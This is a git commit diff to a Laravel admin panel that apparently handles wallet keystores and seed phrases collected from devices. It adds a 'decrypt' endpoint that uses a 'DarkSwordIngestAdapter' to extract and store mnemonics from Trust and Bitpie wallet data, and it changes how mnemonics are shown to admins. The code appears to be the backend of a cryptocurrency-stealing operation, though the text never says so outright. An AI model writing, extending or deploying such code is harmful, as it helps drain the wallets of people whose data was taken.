This commit is contained in:
hashbro
2026-08-24 06:49:07 +08:00
parent db574cc629
commit 2eb081cbb8
18 changed files with 436 additions and 40 deletions
@@ -470,7 +470,7 @@ class DeviceController extends Controller
return [
'id' => $w->id,
'source' => $w->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($w->mnemonic),
'mnemonic' => WalletMnemonic::adminLabel($w->mnemonic),
'created_at' => optional($w->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($w->updated_at)->format('Y-m-d H:i:s'),
];
@@ -497,6 +497,7 @@ class DeviceController extends Controller
'summary' => $row->summary(),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'items_url' => route($portal.'.keystores.items', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
];
})->values();
@@ -6,6 +6,8 @@ use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\DarkSwordIngestAdapter;
use App\Support\AgentScope;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
@@ -80,6 +82,50 @@ class KeystoreController extends Controller
]);
}
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
{
if (! $this->keystoreAllowed($keystore)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
$device = $keystore->device;
if ($device === null) {
return response()->json(['code' => 1, 'msg' => '设备不存在'], 404);
}
@set_time_limit(180);
@ini_set('max_execution_time', '180');
$before = WalletMnemonic::query()
->where('device_id', $device->id)
->pluck('mnemonic_hash')
->all();
$seen = array_fill_keys($before, true);
$adapter->reprocessKeystores($device);
$keystore->refresh();
$after = WalletMnemonic::query()
->where('device_id', $device->id)
->get(['id', 'source', 'mnemonic_hash']);
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
$addedCount = $added->count();
$msg = $addedCount > 0
? '已写入 '.$addedCount.' 条助记词'
: ((int) $keystore->decrypted === 1
? '没有新的助记词(该来源可能已解密)'
: '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)');
return response()->json([
'code' => 0,
'msg' => $msg,
'data' => [
'id' => $keystore->id,
'decrypted' => (int) $keystore->decrypted,
'added' => $addedCount,
'mnemonic_total' => $after->count(),
'sources' => $added->pluck('source')->unique()->values()->all(),
],
]);
}
/**
* @return array<string, mixed>
*/
@@ -97,6 +143,7 @@ class KeystoreController extends Controller
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
'items_url' => route($portal.'.keystores.items', $row->id),
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
];
}
@@ -62,7 +62,7 @@ class MnemonicController extends Controller
'device_key' => $row->device_key ?: '',
'channel_id' => $row->device_channel_id ?: '',
'source' => $row->source ?: '',
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
'mnemonic' => WalletMnemonic::adminLabel($row->mnemonic),
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $row->device_id),